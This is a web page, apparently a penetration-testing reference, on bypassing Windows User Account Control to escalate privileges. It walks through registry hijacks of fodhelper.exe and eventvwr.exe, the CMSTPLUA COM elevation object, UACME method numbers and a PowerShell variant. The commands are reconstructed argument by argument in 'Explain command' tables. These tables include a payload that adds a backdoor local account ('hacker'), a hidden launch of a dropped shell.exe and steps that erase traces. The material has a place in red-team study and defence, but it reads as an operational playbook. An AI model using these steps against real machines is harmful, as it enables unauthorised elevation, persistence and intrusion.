UAC Bypass for Windows Privilege Escalation
User Account Control (UAC) is not a security boundary — it is a convenience feature. A local administrator in a medium integrity process can bypass UAC to reach high integrity without triggering a UAC prompt. UAC bypass matters when you have admin credentials or a shell running as an admin user but at medium integrity — commands like net localgroup work but actions requiring full admin (LSASS dump, service modification) are blocked.
Prerequisites Check
UAC bypass only applies when:
Your user is in the local Administrators group
The process is running at medium integrity (not already elevated)
Check both:
Explain command
| %USERNAME% | Environment variable expanding to the current logged-in username. |
| /i | Performs a case-insensitive string search in findstr. |
| "Local Group" | Search string to filter net user output for group memberships. |
| /groups | Displays group memberships and privilege info for the current user. |
| "Administrators" | Search string to filter whoami output for Administrators group entry. |
| "Mandatory" | Search string to filter whoami output for the process integrity level. |
If you are already at High integrity, UAC bypass is irrelevant — proceed directly to other privesc techniques.
fodhelper.exe — Registry Hijack (Windows 10)
fodhelper.exe is a Microsoft-signed binary that auto-elevates (runs as high integrity without a UAC prompt). It reads a registry key under HKCU before execution — which any user can write to. Set that key to your payload and launch fodhelper.
Explain command
| HKCU\Software\Classes\ms-settings\Shell\Open\command | Registry path used for UAC bypass via fodhelper.exe hijacking |
| /d "cmd.exe" | Sets the default value (data) of the registry key to cmd.exe |
| /f | Forces the operation without prompting for confirmation |
| /v DelegateExecute | Creates the DelegateExecute value required to trigger elevated execution |
| C:\Windows\System32\fodhelper.exe | Target binary that auto-elevates and reads the hijacked registry key |
Wait a moment — an elevated cmd.exe opens. Verify:
Explain command
| /groups | Displays group membership and security identifiers for the current user. |
| "High Mandatory" | Search string to filter for High Mandatory Level integrity entries. |
Reverse shell variant:
Explain command
| HKCU\Software\Classes\ms-settings\Shell\Open\command | Registry key path used for COM handler hijacking via ms-settings. |
| /d "C:\Windows\Temp\shell.exe" | Sets the default value of the registry key to the specified executable. |
| /f | Forces the write operation without prompting for confirmation. |
| /v DelegateExecute | Creates the DelegateExecute value required to trigger UAC bypass via fodhelper. |
| C:\Windows\System32\fodhelper.exe | Launches fodhelper.exe, which auto-elevates and triggers the hijacked registry handler. |
Cleanup:
Explain command
| HKCU\Software\Classes\ms-settings | Registry key path targeting ms-settings class under current user hive |
| /f | Force deletion without prompting for confirmation |
eventvwr.exe — Registry Hijack (Windows 7/8/10)
eventvwr.exe also auto-elevates and reads from HKCU before launching mmc.exe. Works on older Windows versions where fodhelper is not present.
Explain command
| HKCU\Software\Classes\mscfile\shell\open\command | Registry key path to hijack the mscfile handler for UAC bypass |
| /d "cmd.exe" | Sets the registry key default value to cmd.exe as the handler |
| /f | Forces the write without prompting for confirmation |
| C:\Windows\System32\eventvwr.exe | Launches Event Viewer, which auto-elevates and triggers the hijacked handler |
Cleanup:
Explain command
| HKCU\Software\Classes\mscfile | Registry path targeting the mscfile file association under current user hive |
| /f | Force deletion without prompting for confirmation |
CMSTPLUA COM Object (Windows 10/11)
Uses the CMSTPLUA COM object which is configured to auto-elevate. No registry modification needed — just invoke it via PowerShell:
Explain command
| $obj | PowerShell variable storing the elevated COM object instance. |
| [activator]::CreateInstance | Instantiates a COM object using .NET reflection. |
| [type]::GetTypeFromProgID | Retrieves a .NET Type object from a COM ProgID string. |
| Elevation:Administrator!new:{3E5FC7F9-9A51-4367-9063-A120244FBEC7} | ProgID invoking UAC elevation via ShellExecute COM CLSID (CMSTPLUA). |
| .ShellExec | COM method to execute a process with specified parameters. |
| cmd.exe | Target executable passed to ShellExec for process creation. |
| /c net user hacker Password123! /add | cmd flag running net user to add a backdoor local account. |
| "open" | ShellExec verb parameter specifying the open execution action. |
Automated UAC Bypass with UACME
UACME maintains a comprehensive list of UAC bypass techniques:
Explain command
| /? | Displays all available UAC bypass methods supported by Akagi64. |
| 23 | Selects method 23 (CMSTPLUA COM interface UAC bypass). |
| C:\Windows\System32\cmd.exe | Target executable to launch with elevated privileges. |
| 33 | Selects method 33 (fodhelper.exe UAC bypass). |
| 61 | Selects method 61, compatible with Windows 10 20H2 and later. |
Download: https://github.com/hfiref0x/UACME
PowerShell UAC Bypass
Explain command
| HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System | Registry path storing UAC policy settings including consent behavior. |
| .ConsentPromptBehaviorAdmin | Registry value controlling UAC elevation prompt behavior for admins. |
| HKCU:\Software\Classes\ms-settings\Shell\Open\command | User-writable registry key hijacked to redirect fodhelper execution. |
| -Force | Suppresses confirmation prompts and overwrites existing registry items. |
| -Path | Specifies the target registry path for property operations. |
| -Name "DelegateExecute" | Registry value that signals shell to elevate without UAC prompt. |
| -Value "" | Empty string value set for DelegateExecute to trigger elevation bypass. |
| -Name "(default)" | Default registry value set to the malicious command payload. |
| -Value "cmd /c start C:\Windows\Temp\shell.exe" | Payload executed with elevated privileges via the UAC bypass. |
| -WindowStyle Hidden | Launches fodhelper.exe without a visible window to avoid detection. |
| C:\Windows\System32\fodhelper.exe | Auto-elevating Windows binary abused to trigger the UAC bypass. |
| C:\Windows\Temp\shell.exe | Attacker-placed executable run with elevated privileges post-bypass. |
When UAC Bypass Is Not Needed
If UAC is set to "Never notify" (ConsentPromptBehaviorAdmin = 0), all admin actions are automatically elevated:
Explain command
| HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System | Registry hive path storing Windows UAC and system policy settings. |
| /v ConsentPromptBehaviorAdmin | Queries the specific value controlling UAC consent prompt behavior for admins. |
References
-
hfiref0x Comprehensive UAC bypass technique database with working implementations.
-
UAC Architecturedocs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works (opens in new tab)
Microsoft Docs Auto-elevation rules and integrity level documentation.
Was this helpful?
Your feedback helps improve this page.